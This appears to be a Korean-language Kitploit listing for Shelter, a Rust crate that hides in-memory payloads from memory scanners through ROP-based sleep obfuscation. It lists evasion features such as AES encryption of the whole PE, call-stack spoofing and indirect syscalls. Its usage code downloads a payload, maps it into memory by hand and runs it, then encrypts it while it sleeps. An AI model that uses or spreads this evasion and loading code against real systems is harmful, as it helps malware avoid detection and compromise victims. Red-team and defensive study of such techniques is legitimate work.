Shelter — ROP 기반 슬립 난독화로 메모리 스캐너 우회 | Kitploit

공유

Shelter

Shelter는 완전한 무장형 수면 난독화 기법으로, ROP를 광범위하게 사용하여 메모리 내 페이로드를 완전히 암호화할 수 있습니다.

이 크레이트는 다음과 같은 특징을 가지고 있습니다:

AES-128 암호화.
전체 PE 암호화 기능.
수면 중 실행 권한 제거.
APC/HWBP/타이머 미사용, 오직 ROP만을 사용하여 난독화 달성.
호출 스택 스푸핑을 위해 Unwinder 사용 후 ROP 체인 실행.
다양한 상황에 적응할 수 있는 여러 실행 방법.
기타 OPSEC 고려 사항: DInvoke_rs, 간접 시스템 콜, 문자열 리터럴 암호화 등.

내용

사용법
예제
모듈 테스트
TO-DO

사용법

이 크레이트를 프로젝트에 추가하려면 cargo.toml에 다음 줄을 추가하세요:

[dependencies]
shelter = "=0.1.2"

그런 다음 프로젝트를 --release 모드로 컴파일하세요.

이 크레이트의 주요 기능은 세 가지 함수로 래핑되었습니다:

fluctuate()는 현재 메모리 영역 또는 전체 PE를 암호화할 수 있습니다. 이 함수는 PE의 MZ 바이트가 메모리에 존재하여 기본 주소를 동적으로 검색해야 합니다.

pub type CreateEventW = unsafe extern "system" fn (*const SECURITY_ATTRIBUTES, i32, i32, *const u16) -> HANDLE;

let k32 = dinvoke_rs::dinvoke::get_module_base_address("kernel32.dll"); 
let create_event: CreateEventW;
let event_handle: Option<HANDLE>;
dinvoke_rs::dinvoke::dynamic_invoke!(k32,"CreateEventW",create_event,event_handle,ptr::null_mut(),0,0,ptr::null());
let time_to_sleep = None; // 무기한 수면
let _ = shelter::fluctuate(true, time_to_sleep, event_handle); // 이벤트가 신호를 받을 때까지 전체 PE 암호화

let payload: Vec<u8> = your_download_function();
let mut m = dinvoke_rs::manualmap::manually_map_module(payload.as_ptr(), true).unwrap();
println!("The dll is loaded at base address 0x{:x}", m.1);
let dll_exported_function = dinvoke::get_function_address(m.1, "run");

let run: unsafe extern "Rust" fn (usize) = std::mem::transmute(dll_exported_function);
run(m.1 as usize);

#[no_mangle]
fn run(base_address: usize)
{
	...
	let time_to_sleep = Some(10); // 10초 동안 수면
	let _ = shelter::fluctuate_from_address(time_to_sleep, None, base_address); // 이 특정 기본 주소에서 전체 PE 암호화
	...
}

let time_to_sleep = Some(10); // 10초 동안 수면
let pattern = [0x29,0x07];
let _ = shelter::fluctuate_from_pattern(time_to_sleep, None, pattern); // 사용자 정의 패턴을 매직 바이트로 사용하여 전체 PE 암호화